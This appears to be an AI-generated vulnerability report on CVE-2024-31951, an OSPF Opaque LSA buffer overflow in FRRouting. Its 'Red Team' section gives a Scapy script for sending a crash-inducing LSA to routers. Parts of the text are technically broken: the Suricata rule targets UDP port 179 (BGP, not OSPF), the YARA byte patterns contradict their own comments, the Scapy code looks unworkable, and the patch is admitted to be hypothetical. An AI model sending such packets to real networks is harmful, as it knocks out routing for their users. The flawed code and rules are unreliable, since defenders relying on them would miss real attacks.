CVE-2024-31951

Executive Summary

CVE-2024-31951 is a critical buffer overflow vulnerability in the Opaque LSA Extended Link parser of FRRouting (FRR) through version 9.1. The flaw resides in the ospf_te_parse_ext_link function, where the lengths of Segment Routing Adjacency SID subTLVs are not validated before being used in memory copy operations. An unauthenticated attacker can send a specially crafted OSPF LSA packet, causing a buffer overflow that leads to a daemon crash (denial of service). No public exploit code or proof-of-concept is currently available, but the vulnerability is trivially exploitable due to the lack of length checks. The CVSS score is 7.5 (High) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; a single crafted packet triggers the overflow.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The daemon crashes, causing a denial of service.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it a significant risk for networks running FRR with OSPF enabled.

Deep Dive & Mechanics

The vulnerability exists in the Opaque LSA (Link State Advertisement) Extended Link parser, specifically in the ospf_te_parse_ext_link function. OSPF uses Type 10 Opaque LSAs to carry Traffic Engineering (TE) information, including Segment Routing (SR) extensions. Within these LSAs, the Extended Link TLV contains subTLVs, one of which is the Segment Routing Adjacency SID subTLV.

The vulnerable code does not validate the length field of the Adjacency SID subTLV before using it in a memory copy operation. An attacker can craft an OSPF LSA packet with a malformed subTLV that specifies a length larger than the actual buffer, causing a buffer overflow. This overflow corrupts adjacent memory, leading to a crash of the OSPF daemon (ospfd).

The root cause is a missing bounds check in the parsing loop. The code reads the subTLV length from the packet and uses it directly in a memcpy or similar operation without verifying that the length does not exceed the remaining buffer space.

Vulnerable vs. Patched Code

Vulnerable Code (FRR <= 9.1):

// In ospf_te_parse_ext_link()
// Assume 'tlv' points to the subTLV data
uint16_t sub_type = ntohs(tlv->type);
uint16_t sub_len = ntohs(tlv->length);
// No validation of sub_len against remaining buffer
memcpy(buffer, tlv->value, sub_len); // Buffer overflow if sub_len > buffer size

Patched Code (Hypothetical fix):

// In ospf_te_parse_ext_link()
uint16_t sub_type = ntohs(tlv->type);
uint16_t sub_len = ntohs(tlv->length);
// Validate sub_len against remaining buffer
if (sub_len > remaining_len) {
    // Log error and discard packet
    zlog_warn("Invalid subTLV length: %u > %u", sub_len, remaining_len);
    return -1;
}
memcpy(buffer, tlv->value, sub_len);

The patch adds a length check to ensure sub_len does not exceed the remaining buffer space before performing the copy.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running FRR <= 9.1 with OSPF enabled.
• Network access to send OSPF packets to the target.

Exploitation Steps:

1. Craft a malicious OSPF LSA packet with a Type 10 Opaque LSA containing an Extended Link TLV.
2. Inside the Extended Link TLV, include a Segment Routing Adjacency SID subTLV with a length field set to a value larger than the actual buffer (e.g., 0xFFFF).
3. Send the packet to the target's OSPF interface.
4. The target's OSPF daemon will crash due to the buffer overflow, causing a denial of service.

Example Packet Crafting (using Scapy):

from scapy.all import *
from scapy.contrib.ospf import *

# Build a malicious OSPF LSA packet
# This is a simplified example; actual implementation requires proper OSPF headers
packet = IP(dst="224.0.0.5")/OSPF_Hdr()/OSPF_LSUpd(
    lsas=[
        OSPF_Opaque_LSA(
            type=10,  # Opaque LSA Type 10
            opaque_type=1,  # Traffic Engineering
            opaque_id=1,
            tlvlist=[
                # Extended Link TLV
                OSPF_TLV(type=2, length=4, value=b'\x00\x00\x00\x00'),
                # Malicious Adjacency SID subTLV
                OSPF_TLV(type=1099, length=0xFFFF, value=b'A'*0xFFFF)
            ]
        )
    ]
)
send(packet, iface="eth0")

Blue Team

Detection:

• Monitor OSPF packets for unusually large subTLV lengths.
• Use network intrusion detection systems (NIDS) to flag OSPF packets with subTLV lengths exceeding expected values (e.g., > 255 bytes).
• Enable logging on FRR to capture parsing errors.

Mitigation:

• Apply vendor patch when available.
• Restrict OSPF adjacency to trusted networks using ACLs or firewalls.
• Disable OSPF TE extensions if not required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • OSPF Type 10 Opaque LSAs with subTLV lengths > 255 bytes.
  • Repeated OSPF packets from a single source causing daemon crashes.
• System IOCs:
  • OSPF daemon (ospfd) crash logs.
  • Core dumps from ospfd with corrupted memory.
  • High CPU usage during OSPF packet processing.

Detection Engineering

YARA Rule

rule CVE_2024_31951_OSPF_Buffer_Overflow {
    meta:
        description = "Detects malicious OSPF packets exploiting CVE-2024-31951"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31951"
    strings:
        $ospf_opaque = { 09 02 ?? ?? }  // OSPF Opaque LSA type 10 (0x09 0x02)
        $subtlv_adj_sid = { 44 0B }     // Adjacency SID subTLV type (0x0B44)
        $large_length = { FF FF }       // Length field > 255
    condition:
        $ospf_opaque and $subtlv_adj_sid and $large_length
}

Sigma Rule

title: CVE-2024-31951 OSPF Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects OSPF packets with abnormally large subTLV lengths indicating exploitation of CVE-2024-31951
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: 'ospf'
        ospf.opaque_type: 10
        ospf.subtlv_type: 0x0B44
        ospf.subtlv_length: 0xFFFF
    condition: selection
falsepositives:
    - Legitimate OSPF TE extensions with large subTLVs (unlikely)
level: high

Suricata Rule

alert udp any any -> any 179 (msg:"CVE-2024-31951 OSPF Buffer Overflow Attempt"; flow:to_server; content:"|09 02|"; depth:2; content:"|44 0B|"; within:20; content:"|FF FF|"; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FRR to version 9.1.1 or later when the patch is released.
2. If upgrade is not possible, disable OSPF Traffic Engineering extensions:

   router ospf
    no capability opaque
   

3. Restrict OSPF adjacency to trusted IP addresses using ACLs.

Long-term Measures:

• Implement network segmentation to limit OSPF exposure.
• Deploy NIDS with custom rules to detect exploitation attempts.
• Regularly monitor vendor advisories for FRR updates.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.